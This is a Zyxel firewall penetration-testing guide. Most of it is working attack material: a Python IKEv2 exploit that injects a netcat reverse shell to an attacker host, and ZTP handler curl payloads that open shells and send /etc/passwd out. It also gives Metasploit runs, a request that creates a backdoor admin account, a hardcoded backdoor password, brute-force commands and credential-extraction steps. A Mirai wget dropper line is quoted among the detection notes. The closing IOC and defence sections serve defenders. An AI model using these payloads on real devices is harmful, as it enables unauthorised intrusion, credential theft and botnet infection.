Zyxel Security Testing: CVE-2023-28771 Pre-Auth RCE, CVE-2022-30525 OS Command Injection, Hardcoded Credentials

Zyxel firewalls and VPN gateways occupy a critical position in SMB and enterprise network perimeters — which makes them high-value targets for attackers and a mandatory scope item in any serious penetration test. This guide covers the full attack surface: from pre-authentication IKEv2 RCE and ZTP endpoint command injection to hardcoded FTP backdoor credentials and configuration backup extraction. Several Zyxel CVEs have been weaponized by Mirai botnet variants and nation-state actors alike.

Table of Contents

  1. Attack Surface Overview
  2. Fingerprinting and Version Detection
  3. CVE-2023-28771 — Pre-Auth IKEv2 OS Command Injection (CVSS 9.8)
  4. CVE-2022-30525 — ZTP Unauthenticated OS Command Injection (CVSS 9.8)
  5. CVE-2022-0342 — Authentication Bypass via /cgi-bin/handler (CVSS 9.8)
  6. Hardcoded Credentials — zyfwp FTP Backdoor (CVE-2020-29583)
  7. SNMP Enumeration
  8. ZTP Endpoint Abuse
  9. Configuration Backup Extraction and Credential Recovery
  10. IPsec/L2TP VPN Credential Exposure
  11. SSH Brute Force and Default Credential Exploitation
  12. Zyxel SecuExtender VPN Client Credential Exposure
  13. Detection and IOCs — Mirai Botnet Integration
  14. Defense Recommendations
Authorization Required: All techniques in this guide are for authorized penetration testing and security research only. Exploiting Zyxel vulnerabilities without written permission is illegal under computer fraud statutes in all major jurisdictions. CVE-2023-28771 and CVE-2022-30525 are actively exploited in the wild — exercise caution in production environments.

1. Attack Surface Overview

Zyxel produces a broad family of security appliances — the USG FLEX series (100/200/500/700), ATP series (100/200/500/700/800), VPN series (50/100/300/1000), and legacy ZyWALL devices. All share a common firmware base (ZLD — Zyxel Linux Distribution) and expose a consistent set of management interfaces.

Standard Exposed Services

Service Protocol / Port Purpose Default State
Web Management (HTTP) TCP 80 Admin GUI (redirects to HTTPS) Enabled on LAN
Web Management (HTTPS) TCP 443 Admin GUI + SSL VPN portal Enabled on LAN
SSH TCP 22 CLI management Enabled on LAN
FTP TCP 21 Firmware/config transfer (zyfwp backdoor) Enabled (older firmware)
SNMP UDP 161 Monitoring Disabled by default, often enabled
IKE (IPsec Phase 1) UDP 500 VPN negotiation Enabled when VPN configured
IKE NAT-T UDP 4500 IPsec NAT traversal Enabled when VPN configured
L2TP UDP 1701 L2TP/IPsec VPN Configurable
ZTP Handler TCP 443 /ztp/cgi-bin/ provisioning Enabled in affected firmware

Internet-facing Zyxel devices are commonplace: many organizations expose the HTTPS management interface or the SSL VPN portal directly to the internet. Shodan regularly indexes 100,000+ Zyxel devices worldwide, with large concentrations in Europe, Japan, and Southeast Asia reflecting the vendor's geographic market strength.

2. Fingerprinting and Version Detection

Before testing begins, accurately identify the device model, firmware version, and ZLD release. This determines which CVEs apply and which default credentials to try.

Nmap Service Scan

# Full port scan with service/version detection
nmap -sV -sC -p 21,22,80,443,161/udp,500/udp,4500/udp -T4 192.168.1.1

# Grab HTTP server banner and login page title
nmap -p 443 --script http-title,http-server-header 192.168.1.1

# Check for Zyxel-specific NSE scripts
nmap --script-help "zyxel*"

HTTP Fingerprinting via Login Page

# Fetch the login page — firmware version often embedded in HTML/JS
curl -sk https://192.168.1.1/ | grep -iE "ZLD|firmware|version|zyxel|USG|ATP"

# Check HTTP response headers for server identification
curl -skI https://192.168.1.1/
# Look for: Server: ZyXEL, X-Powered-By, or embedded version strings

# Fetch the webhelp version file (present on many ZLD versions)
curl -sk https://192.168.1.1/webhelp/version.htm
curl -sk https://192.168.1.1/cgi-bin/about

Identifying the Firmware Version

# The /cgi-bin/handler endpoint (pre-auth on vulnerable firmware) can leak info
curl -sk "https://192.168.1.1/cgi-bin/handler" \
  -d "operation=getcapability" | python3 -m json.tool

# ZTP provisioning info endpoint
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{"command":"setSmartConnect","subCommand":"setCtrl","data":{}}' | head -c 500

# SNMP sysDescr walk — firmware version in MIB
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1.0

The sysDescr OID typically returns a string like ZyWALL USG FLEX 200, ZLD V5.36(ABUJ.0)b1 — enough to pinpoint the exact firmware build and applicable CVEs.

Version Mapping: CVE-2023-28771 affects ZLD 4.60–5.35. CVE-2022-30525 affects ZLD 5.10–5.21. CVE-2022-0342 affects ZLD 4.60–5.20 on USG/ZyWALL. Always confirm the exact version before assuming exploitability — Zyxel released silent patches in some cases without incrementing the version number.

3. CVE-2023-28771 — Pre-Auth IKEv2 OS Command Injection (CVSS 9.8)

Discovered by Trapa Security in April 2023 and patched in ZLD 5.36, CVE-2023-28771 is an unauthenticated OS command injection in the IKEv2 key exchange handler. The vulnerability exists in the ikereporter daemon, which processes IKEv2 notification payloads without sanitizing user-supplied data before passing it to a system shell. Exploitation requires only that UDP 500 or UDP 4500 be reachable — no credentials needed.

Affected devices: USG FLEX 100/200/500/700, ATP 100/200/500/700/800, VPN 50/100/300/1000, ZyWALL/USG series running ZLD 4.60–5.35.

How the Vulnerability Works

The IKEv2 daemon parses NOTIFY payloads in the IKE_SA_INIT exchange. A specially crafted notification type causes the daemon to construct a shell command string that includes an attacker-controlled field — specifically, the VPN peer identifier. The resulting command executes as root on the ZLD appliance.

#!/usr/bin/env python3
# CVE-2023-28771 PoC — IKEv2 Pre-Auth RCE
# Craft malicious IKEv2 IKE_SA_INIT with injected NOTIFY payload
# For authorized testing only

import socket
import struct
import os

TARGET_IP   = "192.168.1.1"
TARGET_PORT = 500
LHOST       = "10.10.10.99"
LPORT       = 4444

# Reverse shell command injected into IKE notification peer ID field
CMD = f";busybox nc {LHOST} {LPORT} -e /bin/sh #"

def build_ike_sa_init(cmd):
    """
    Minimal IKE_SA_INIT packet with injected notification payload.
    The peer ID field is set to the OS command string.
    """
    # IKE header
    initiator_spi = os.urandom(8)
    responder_spi = b'\x00' * 8
    next_payload  = 0x21  # SA
    version       = 0x20  # IKEv2
    exchange_type = 0x22  # IKE_SA_INIT
    flags         = 0x08  # Initiator
    msg_id        = struct.pack(">I", 0)

    # Notification payload: type 16388 (IKEV2_FRAGMENTATION_SUPPORTED)
    # We abuse the notification data field to inject the command
    notify_data = cmd.encode()
    notify_payload = struct.pack(">BBHBBH",
        0x00,       # next payload (none)
        0x00,       # critical
        8 + len(notify_data),  # payload length
        0x00,       # protocol ID
        0x00,       # SPI size
        0x4004      # notify type 16388
    ) + notify_data

    total_len = 28 + len(notify_payload)
    ike_header = (initiator_spi + responder_spi +
                  bytes([next_payload, version, exchange_type, flags]) +
                  msg_id + struct.pack(">I", total_len))
    return ike_header + notify_payload

def exploit():
    pkt = build_ike_sa_init(CMD)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    print(f"[*] Sending malicious IKE_SA_INIT to {TARGET_IP}:{TARGET_PORT}")
    sock.sendto(pkt, (TARGET_IP, TARGET_PORT))
    try:
        resp = sock.recvfrom(4096)
        print(f"[+] Response received ({len(resp[0])} bytes) — device likely vulnerable")
    except socket.timeout:
        print("[?] No response — may still be vulnerable (no reply expected on error)")
    sock.close()
    print(f"[*] Start listener: nc -lvnp {LPORT}")

if __name__ == "__main__":
    exploit()

Metasploit Module

# CVE-2023-28771 is available as a Metasploit module
msfconsole -q
use exploit/linux/misc/zyxel_ike_rce_cve_2023_28771
set RHOSTS 192.168.1.1
set RPORT 500
set LHOST 10.10.10.99
set PAYLOAD linux/mipsle/shell_reverse_tcp
run

# Verify root access once shell lands
id
# uid=0(root) gid=0(root)
uname -a
# Linux zyxel-usg #1 SMP MIPS GNU/Linux

Mass Scanning for Vulnerable IKE Endpoints

# Use ike-scan to enumerate IKEv2 endpoints
ike-scan --ikev2 192.168.1.0/24

# Shodan dork for Zyxel IKE-speaking devices
# shodan search "ZyXEL" port:500

# Check if UDP 500 is open and responds to IKE_SA_INIT
nmap -sU -p 500,4500 --script ike-version 192.168.1.1
Actively Exploited: CVE-2023-28771 was weaponized within days of disclosure in May 2023, with Mirai-variant botnets scanning the entire IPv4 space for UDP/500. CISA added this to the Known Exploited Vulnerabilities catalog. Any unpatched internet-facing Zyxel device should be treated as compromised.

4. CVE-2022-30525 — ZTP Unauthenticated OS Command Injection (CVSS 9.8)

Disclosed by Rapid7 in April 2022, CVE-2022-30525 is an unauthenticated OS command injection vulnerability in the Zero Touch Provisioning (ZTP) handler endpoint /ztp/cgi-bin/handler. The mtu_value field in the setWanPortSt command is passed directly to a shell without sanitization, allowing arbitrary command execution as root over HTTP/HTTPS.

Affected firmware: ATP series ZLD 5.10–5.21, USG FLEX series ZLD 5.00–5.21, USG20(W)-VPN ZLD 5.10–5.21.

Direct HTTP Exploitation

# Basic PoC — check for command execution via out-of-band DNS
# Replace BURP_COLLABORATOR with your OOB callback domain

curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{
    "command": "setWanPortSt",
    "proto": "dhcp",
    "wan_type": "wan",
    "wan_port": "wan1_pppoe",
    "mtu_value": "1500;nslookup $(hostname).BURP_COLLABORATOR #",
    "data": ""
  }'
# Reverse shell injection via mtu_value
LHOST="10.10.10.99"
LPORT=4444

curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d "{
    \"command\": \"setWanPortSt\",
    \"proto\": \"dhcp\",
    \"wan_type\": \"wan\",
    \"wan_port\": \"wan1_pppoe\",
    \"mtu_value\": \"1500;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${LHOST} ${LPORT} >/tmp/f #\",
    \"data\": \"\"
  }"

# On attacker — start listener before sending
nc -lvnp 4444

Extracting /etc/passwd and Shadow

# Exfiltrate passwd via curl out-of-band
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{
    "command": "setWanPortSt",
    "proto": "dhcp",
    "wan_type": "wan",
    "wan_port": "wan1_pppoe",
    "mtu_value": "1500;curl http://10.10.10.99:8080/$(cat /etc/passwd|base64 -w0) #",
    "data": ""
  }'

# Receive at attacker (python HTTP server)
python3 -m http.server 8080
# Then decode: echo 'BASE64STRING' | base64 -d

Metasploit Module

use exploit/linux/http/zyxel_cve_2022_30525_rce
set RHOSTS 192.168.1.1
set RPORT 443
set SSL true
set LHOST 10.10.10.99
set PAYLOAD linux/mipsle/meterpreter/reverse_tcp
run

# Post-exploitation: dump credentials
meterpreter > cat /etc/zyxel/ftp/conf/system-default.conf
meterpreter > cat /etc/zyxel/conf/startup-config.conf
Testing Tip: The ZTP endpoint returns HTTP 200 even on injection — look for command side effects rather than response content. Use a Burp Collaborator or interactshell callback to confirm blind execution. A non-JSON response body or connection hang also indicates the injection landed.

5. CVE-2022-0342 — Authentication Bypass via /cgi-bin/handler (CVSS 9.8)

CVE-2022-0342, disclosed in February 2022, is an authentication bypass in the web management interface affecting USG/ZyWALL series running ZLD 4.60–5.20. The /cgi-bin/handler CGI script fails to enforce authentication for certain operations, allowing unauthenticated attackers to invoke privileged functions including user management, system configuration changes, and session hijacking.

Authentication Bypass Proof of Concept

# Check if /cgi-bin/handler is accessible without authentication
curl -sk https://192.168.1.1/cgi-bin/handler \
  -d "operation=getcapability"

# Attempt to enumerate admin users (unauthenticated)
curl -sk https://192.168.1.1/cgi-bin/handler \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "operation=listusers&username=admin"

# Create backdoor admin user via bypass (affected firmware only)
curl -sk https://192.168.1.1/cgi-bin/handler \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "operation=adduser&username=backdoor&password=P%40ssw0rd123&role=admin"

# Confirm bypass — retrieve system information without session cookie
curl -sk "https://192.168.1.1/cgi-bin/handler?operation=getSystemStatus"

Session Cookie Extraction

# Extract active sessions (unauthenticated — bypass condition)
curl -sk https://192.168.1.1/cgi-bin/handler \
  -d "operation=getActiveSessions" | python3 -m json.tool

# Hijack an active admin session
curl -sk https://192.168.1.1/cgi-bin/handler \
  -H "Cookie: SESSION_ID=EXTRACTED_SESSION_TOKEN" \
  -d "operation=exportConfig"

6. Hardcoded Credentials — zyfwp FTP Backdoor (CVE-2020-29583)

CVE-2020-29583, disclosed in December 2020 by EYE, revealed hardcoded credentials in Zyxel firmware for an undocumented FTP service account. The username zyfwp with password PrOw!aN_fXp was present in firmware for ATP, USG, USG FLEX, VPN, and NXC series devices. The account also grants SSH access on affected firmware — effectively a root-equivalent backdoor built into the product.

FTP Backdoor Exploitation

# Test for zyfwp FTP credentials
ftp 192.168.1.1
# Username: zyfwp
# Password: PrOw!aN_fXp

# Non-interactive FTP login check
curl -sk ftp://192.168.1.1/ \
  --user "zyfwp:PrOw!aN_fXp" \
  --list-only

# List configuration directory
curl -sk "ftp://192.168.1.1/conf/" \
  --user "zyfwp:PrOw!aN_fXp" \
  --list-only

# Download running configuration
curl -sk "ftp://192.168.1.1/conf/startup-config.conf" \
  --user "zyfwp:PrOw!aN_fXp" -o startup-config.conf

SSH Access with zyfwp

# Test SSH access with the backdoor account
ssh zyfwp@192.168.1.1
# Password: PrOw!aN_fXp
# Note: may land in restricted Zyxel CLI rather than full shell

# Attempt shell escape from restricted CLI
Router> debug bash
# If debug bash is available, drops to root shell

# Alternative: leverage zyfwp SSH to pivot to full shell
ssh -t zyfwp@192.168.1.1 "id; uname -a"

Additional Default and Common Credentials

# Common Zyxel default credentials to test
# Username / Password combinations:
# admin   / 1234           (factory default — most models)
# admin   / admin          (reset state on some models)
# admin   / password
# zyfwp   / PrOw!aN_fXp   (CVE-2020-29583 backdoor)
# support / support        (older USG firmware)
# zyuser  / 1234           (read-only account, older ZLD)

# Hydra SSH brute force with common list
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  ssh://192.168.1.1 -t 4 -w 3

# Hydra HTTP POST brute force against web GUI
hydra -l admin -P /opt/wordlists/top1000.txt 192.168.1.1 \
  https-post-form \
  "/cgi-bin/handler:operation=login&username=^USER^&password=^PASS^:Wrong password"
Widespread Impact: The zyfwp backdoor was present across tens of thousands of internet-facing Zyxel devices. Shodan scans performed in 2021 found over 100,000 devices with FTP port 21 open. While Zyxel released a patch (ZLD 4.60 Patch 1 for USG/VPN), many devices remain unpatched years later.

7. SNMP Enumeration

Zyxel devices frequently have SNMP enabled with the default community string public, especially when managed by network monitoring systems. SNMP exposes device configuration details, interface statistics, ARP tables, routing information, and — in some firmware versions — VPN pre-shared key hashes via proprietary MIBs.

SNMP v1/v2c Enumeration

# Test default community strings
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1
snmpwalk -v2c -c private 192.168.1.1 1.3.6.1.2.1.1
snmpwalk -v2c -c zyxel 192.168.1.1 1.3.6.1.2.1.1

# Full MIB walk (may take several minutes)
snmpwalk -v2c -c public -O e 192.168.1.1 > zyxel-snmp-full.txt

# Extract system information
snmpwalk -v2c -c public 192.168.1.1 system

# Enumerate interfaces
snmpwalk -v2c -c public 192.168.1.1 ifTable

# ARP table — reveals internal hosts
snmpwalk -v2c -c public 192.168.1.1 ipNetToMediaTable

# Routing table
snmpwalk -v2c -c public 192.168.1.1 ipRouteTable

Zyxel Proprietary MIBs

# Zyxel enterprise OID: 1.3.6.1.4.1.890
# Enumerate Zyxel-specific configuration values
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890

# Check for VPN tunnel status and peer information
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.6.22

# Attempt SNMP write (if community string allows)
snmpset -v2c -c private 192.168.1.1 \
  1.3.6.1.2.1.1.5.0 s "compromised-device"

# Community string brute force with onesixtyone
onesixtyone -c /opt/wordlists/snmp-community-strings.txt 192.168.1.1

SNMPv3 Credential Testing

# Test SNMPv3 with common credentials
snmpwalk -v3 -l authNoPriv -u admin -a MD5 -A "password" 192.168.1.1 system
snmpwalk -v3 -l authNoPriv -u zyxel -a MD5 -A "1234" 192.168.1.1 system

# SNMPv3 brute force with Metasploit
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.1
set VERSION 3
run

8. ZTP Endpoint Abuse

Zero Touch Provisioning (ZTP) was introduced in ZLD 5.x to allow automatic device configuration during deployment. Several CGI endpoints under /ztp/cgi-bin/ are accessible without authentication, exposing device configuration, WAN interface management, and system commands to unauthenticated attackers.

ZTP Endpoint Enumeration

# Enumerate ZTP endpoints (no auth required)
for endpoint in handler getDeviceInfo getWanInfo setWanPortSt getSystemStatus; do
  echo "=== Testing: $endpoint ==="
  curl -sk "https://192.168.1.1/ztp/cgi-bin/$endpoint" \
    -H "Content-Type: application/json" \
    -d "{\"command\":\"$endpoint\"}" | python3 -m json.tool 2>/dev/null | head -20
done

# getDeviceInfo — leaks model, firmware, serial number
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{"command":"getDeviceInfo"}' | python3 -m json.tool

# getWanInfo — leaks WAN IP, gateway, DNS servers
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{"command":"getWanInfo"}' | python3 -m json.tool

Firmware Version from ZTP

# Extract firmware version string from ZTP (useful for CVE mapping)
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{"command":"getDeviceInfo"}' | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('firmwareVersion','N/A'))"

# Check ZTP activation status
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
  -H "Content-Type: application/json" \
  -d '{"command":"getSmartConnect"}' | python3 -m json.tool

9. Configuration Backup Extraction and Credential Recovery

Once authenticated (or via CVE exploitation), the Zyxel configuration backup contains a wealth of sensitive data: VPN pre-shared keys, LDAP/RADIUS credentials, SMTP passwords, admin account hashes, and cloud service API keys. The configuration is stored as a text file and can be downloaded directly via the web interface or FTP.

Downloading Configuration via FTP (zyfwp)

# Download startup configuration via FTP backdoor
curl "ftp://192.168.1.1/conf/startup-config.conf" \
  --user "zyfwp:PrOw!aN_fXp" -o startup-config.conf

# Download system-default configuration
curl "ftp://192.168.1.1/conf/system-default.conf" \
  --user "zyfwp:PrOw!aN_fXp" -o system-default.conf

# List all config files
curl "ftp://192.168.1.1/conf/" \
  --user "zyfwp:PrOw!aN_fXp" --list-only

Configuration Backup via Web Interface (Authenticated)

# Login and extract session cookie
SESSION=$(curl -sk https://192.168.1.1/cgi-bin/handler \
  -d "operation=login&username=admin&password=1234" \
  -c - | grep SESSION | awk '{print $7"="$8}')

# Export configuration backup
curl -sk https://192.168.1.1/cgi-bin/handler \
  -H "Cookie: $SESSION" \
  -d "operation=exportConfig" \
  -o zyxel-config-backup.conf

# Alternatively via REST API (ZLD 5.x+)
curl -sk "https://192.168.1.1/api/v1/system/backup" \
  -H "Authorization: Bearer TOKEN" \
  -o config-backup.tar.gz

Credential Extraction from Configuration

# Extract admin password hashes
grep -E "password|passwd" startup-config.conf

# Extract VPN pre-shared keys (PSK)
grep -E "pre-shared|psk|ike.*key" startup-config.conf -i

# Extract LDAP/Active Directory bind credentials
grep -iE "ldap.*password|bind.*dn|bind.*pw" startup-config.conf

# Extract RADIUS shared secret
grep -iE "radius.*secret|shared.*secret" startup-config.conf

# Extract SMTP credentials (for alert/email notifications)
grep -iE "smtp.*user|smtp.*pass|mail.*auth" startup-config.conf

# Extract cloud/API credentials
grep -iE "api.*key|cloud.*token|license.*key" startup-config.conf

# Extract all passwords in one shot
grep -oP "(?<=password )\S+" startup-config.conf | sort -u

Password Hash Cracking

# Zyxel admin passwords in older ZLD use MD5-crypt ($1$)
# Extract hash from config, then crack with hashcat
grep "password" startup-config.conf | grep '\$1\$' | \
  awk '{print $2}' > zyxel-hashes.txt

# Hashcat MD5-crypt
hashcat -m 500 zyxel-hashes.txt /opt/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/opt/wordlists/rockyou.txt zyxel-hashes.txt

10. IPsec/L2TP VPN Credential Exposure

Zyxel devices commonly act as IPsec VPN concentrators, terminating site-to-site and remote-access VPN tunnels. The VPN configuration may expose pre-shared keys, XAUTH credentials, LDAP/RADIUS integration passwords, and L2TP shared secrets — all recoverable from the configuration backup or via SNMP.

IKEv1 Aggressive Mode PSK Harvesting

# IKEv1 Aggressive Mode leaks group hash for offline cracking
ike-scan --aggressive --id=testgroup 192.168.1.1

# Full aggressive mode scan with transform proposals
ike-scan -A --id=cisco 192.168.1.1
ike-scan -A --id=vpn 192.168.1.1
ike-scan -A --id=remote 192.168.1.1

# If a hash is returned, crack it with IKECrack or hashcat
# ikecrack -f ike-capture.pcap -w /opt/wordlists/rockyou.txt

L2TP/IPsec Shared Secret Extraction

# L2TP shared secret is often in the config
grep -iE "l2tp.*secret|shared.*secret|l2tp.*key" startup-config.conf

# Test L2TP authentication with extracted shared secret
# Use strongSwan or vpnc for testing
cat > /tmp/test-vpn.conf << 'EOF'
conn zyxel-test
    keyexchange=ikev1
    authby=secret
    left=%defaultroute
    leftid=@tester
    right=192.168.1.1
    rightsubnet=0.0.0.0/0
    ike=aes256-sha1-modp1024
    esp=aes256-sha1
    aggressive=yes
    type=transport
EOF

echo "192.168.1.1 %any : PSK \"EXTRACTED_PSK\"" >> /etc/ipsec.secrets

LDAP Integration Credential Abuse

# Zyxel often integrates with Active Directory via LDAP for VPN auth
# The bind DN and password are stored in the configuration

# Extract from config
grep -iE "ldap|active.directory|bind" startup-config.conf

# Use extracted credentials to query LDAP directly
ldapsearch -H ldap://AD_SERVER:389 \
  -D "CN=zyxel-svc,OU=Service Accounts,DC=corp,DC=example,DC=com" \
  -w "EXTRACTED_PASSWORD" \
  -b "DC=corp,DC=example,DC=com" \
  "(objectClass=user)" cn mail sAMAccountName

11. SSH Brute Force and Default Credential Exploitation

Zyxel SSH exposes both the Zyxel CLI (restricted) and, on some firmware, a full BusyBox shell when accessed with privileged accounts. The restricted CLI can often be escaped via debug bash or by exploiting shell injection in CLI commands.

SSH Credential Attacks

# Test default credentials
ssh -o StrictHostKeyChecking=no admin@192.168.1.1
# Try: 1234, admin, password, zyxel, ZyxelUser1

# SSH with zyfwp backdoor account (CVE-2020-29583)
ssh -o StrictHostKeyChecking=no zyfwp@192.168.1.1
# Password: PrOw!aN_fXp

# Targeted brute force preserving service availability
hydra -l admin \
  -P /usr/share/wordlists/passwords/common-passwords.txt \
  -t 2 -w 5 -s 22 \
  ssh://192.168.1.1

# Medusa — alternative SSH brute forcer
medusa -h 192.168.1.1 -u admin \
  -P /opt/wordlists/top500-passwords.txt \
  -M ssh -t 1

Restricted CLI Escape Techniques

# Once logged into the Zyxel restricted CLI:
Router# debug bash
# If successful: drops to root BusyBox shell

# Alternative escape via packet trace CLI command
Router# packet-trace start interface eth0 count 1 filter "host 0.0.0.0 and $(id>/tmp/pwn)"

# Check if python/perl are available for shell escape
Router# debug bash -c "python3 -c 'import pty; pty.spawn(\"/bin/sh\")'"

# Read configuration from shell
cat /etc/zyxel/conf/startup-config.conf
cat /etc/passwd
cat /etc/shadow

12. Zyxel SecuExtender VPN Client Credential Exposure

Zyxel SecuExtender is the proprietary SSL VPN client deployed alongside Zyxel gateways. The client stores VPN server profiles and, in some versions, caches user credentials locally. Additionally, SecuExtender communicates with the Zyxel gateway's SSL VPN portal over HTTPS, with several known weaknesses in the authentication flow.

Credential Storage Locations (Windows)

# Windows: SecuExtender credential files
# Located in AppData or ProgramData
$paths = @(
    "$env:APPDATA\ZyXEL\SecuExtender",
    "$env:LOCALAPPDATA\ZyXEL\SecuExtender",
    "C:\ProgramData\ZyXEL\SecuExtender",
    "$env:APPDATA\Zyxel\ZyXEL SecuExtender"
)

# Search for config and credential files
Get-ChildItem -Path $paths -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.xml','.ini','.conf','.dat' } |
  Select-Object FullName

# Read VPN profiles
Get-Content "C:\ProgramData\ZyXEL\SecuExtender\connections.xml"
# Linux: SecuExtender credential files
find /home -name "*.xml" -path "*/ZyXEL/*" 2>/dev/null
find /home -name "*.conf" -path "*secuextender*" 2>/dev/null
find /root -name "*zyxel*" -o -name "*secuextender*" 2>/dev/null

# Check for credentials in config files
grep -iE "password|passwd|secret|psk|token" \
  /home/*/.config/zyxel/*.xml 2>/dev/null

SSL VPN Portal Testing

# Enumerate SSL VPN portal login endpoint
curl -sk https://192.168.1.1/sslvpn/weblogin.cgi \
  -d "username=admin&password=1234&group=" -v

# Check for VPN tunnel cookie reuse
curl -sk https://192.168.1.1/sslvpn/ -v \
  -H "Cookie: SVPNCOOKIE=CAPTURED_COOKIE"

# Fuzz VPN group names (used for split-tunnel policy)
for group in default employees vpnusers remote contractors; do
  echo -n "Testing group: $group — "
  curl -sk https://192.168.1.1/sslvpn/weblogin.cgi \
    -d "username=testuser&password=wrong&group=$group" | \
    grep -c "Invalid" || echo "potentially valid"
done

13. Detection and IOCs — Mirai Botnet Integration

Multiple Zyxel CVEs have been incorporated into Mirai botnet variants and sold as initial access by threat actors. CVE-2022-30525 was integrated into Mirai within 72 hours of public disclosure. CVE-2023-28771 was similarly weaponized within days. Understanding these IOCs is essential for blue team detection.

CVE-2022-30525 Attack Indicators

# Web server log patterns indicating exploitation attempts
# Look for POST requests to /ztp/cgi-bin/handler in access logs

grep 'POST.*ztp/cgi-bin/handler' /var/log/nginx/access.log
grep 'POST.*ztp/cgi-bin/handler' /var/log/apache2/access.log

# Suspicious payload patterns in request bodies
grep -E "setWanPortSt.*mtu_value" /var/log/zyxel/http.log
grep -E "(busybox|wget|curl|nc|chmod|/tmp/)" /var/log/zyxel/http.log

# Typical Mirai dropper command patterns:
# mtu_value: "1500; cd /tmp; wget http://[C2_IP]/zyxel.arm; chmod +x zyxel.arm; ./zyxel.arm #"

CVE-2023-28771 Network IOCs

# Snort/Suricata rule for CVE-2023-28771 IKE exploitation
# alert udp any any -> any 500 (
#   msg:"CVE-2023-28771 Zyxel IKEv2 RCE Attempt";
#   content:"|00 00 00 00 00 00 00 00|"; offset:8; depth:8;
#   content:"|21|"; offset:16; depth:1;
#   content:"|40 04|"; within:20;
#   sid:9000001; rev:1;
# )

# Zeek/Bro: monitor for oversized IKE notification payloads
# IKE_SA_INIT notify payloads > 64 bytes with non-standard types

# PCAP capture for forensic analysis
tcpdump -i eth0 -w zyxel-ike-traffic.pcap \
  'udp port 500 or udp port 4500'

# Check for Mirai-pattern connections post-exploitation
# Infected devices connect to C2 on ports 23, 2323, 7547, 48101
tcpdump -i eth0 'tcp and (port 23 or port 2323 or port 48101)' -w mirai-c2.pcap

Known Threat Actor IOCs

CVE Threat Actor / Campaign First Exploited Payload / C2
CVE-2022-30525 Mirai botnet (multiple variants) May 2022 Reverse shell → Mirai binary via /tmp
CVE-2023-28771 Mirai-based botnets, Darkpink APT May 2023 IKE → root shell → Mirai/Gafgyt download
CVE-2020-29583 Multiple — mass scanning observed Jan 2021 FTP credential abuse → config exfil
CVE-2022-0342 Opportunistic mass scanning Feb 2022 Admin user creation → persistent access

Forensic Artifacts Post-Compromise

# On a potentially compromised device, check for:

# Unauthorized admin accounts
cat /etc/passwd | grep -v "^#" | awk -F: '$3 == 0'

# Unusual cron jobs (Mirai persistence)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

# Suspicious binaries in /tmp (Mirai drops here)
ls -la /tmp/
file /tmp/*

# Network connections to unusual IPs
netstat -antp | grep ESTABLISHED | grep -v "192.168."

# Modified startup scripts
find /etc/init.d /etc/rc.d -newer /etc/passwd 2>/dev/null

# Check for Mirai process names
ps aux | grep -E "(mirai|gafgyt|tsunami|mozi|zyxel\.arm)"

14. Defense Recommendations

Control Action Priority
Firmware patching Upgrade to ZLD 5.36+ (CVE-2023-28771) and ZLD 5.30+ (CVE-2022-30525). Subscribe to Zyxel security advisories. Enable auto-update where possible. Critical
Disable FTP service Disable the FTP service entirely if not required. The zyfwp backdoor account is removed in patched firmware, but FTP itself is unnecessary in most deployments. Critical
Management interface isolation Move HTTPS management interface to a dedicated out-of-band management VLAN. Never expose TCP 443 management to the internet — use a separate port or IP for SSL VPN if needed. Critical
IKE/UDP 500 access control Restrict UDP 500/4500 to known VPN peer IP addresses via firewall policy. If site-to-site VPN, block internet-wide access to IKE ports. High
Change default credentials Change default admin password from "1234" immediately after deployment. Enforce minimum 16-character passwords for all management accounts. High
Disable ZTP after provisioning Disable the ZTP/SmartConnect feature after initial provisioning is complete. The /ztp/cgi-bin/ endpoints should not be accessible on deployed devices. High
SNMP hardening Disable SNMP if not required. If required, use SNMPv3 with authPriv, change community strings, and restrict SNMP access by source IP via ACL. High
SSH restrictions Restrict SSH access to management VLAN/IP. Disable SSH from WAN interface. Consider certificate-based authentication and disable password auth. High
Configuration backup encryption Export configuration backups only over encrypted channels. Store encrypted backups in a secrets manager — configuration files contain all VPN PSKs and service passwords. Medium
IKEv1 Aggressive Mode disable Disable IKEv1 Aggressive Mode to prevent offline PSK cracking. Use IKEv2 with certificate-based authentication for site-to-site VPN where possible. Medium
MFA for management access Enable multi-factor authentication for web management access. Zyxel supports TOTP via the management interface on recent ZLD versions. Medium
Log forwarding and SIEM Forward Zyxel syslog to a SIEM. Alert on: failed logins, POST to /ztp/cgi-bin/, new admin account creation, configuration export events, and SSH logins from unknown IPs. Medium
Network segmentation Segment management plane from data plane. Infected Zyxel devices in Mirai botnets are used to attack other internal hosts — contain blast radius via VLAN isolation. Medium
Vulnerability scanning Include Zyxel devices in authenticated vulnerability scanner scope. Run Ironimo scans against the management interface to detect CVEs as new firmware is deployed. Medium

Zyxel Security Advisory Monitoring

# Monitor Zyxel security advisories RSS feed
# https://www.zyxel.com/global/en/support/security-advisories/

# Check current firmware version against advisory database
curl -s "https://www.zyxel.com/global/en/support/security-advisories/" | \
  grep -iE "USG|ATP|VPN|ZLD" | head -20

# Verify installed firmware hash against published checksums
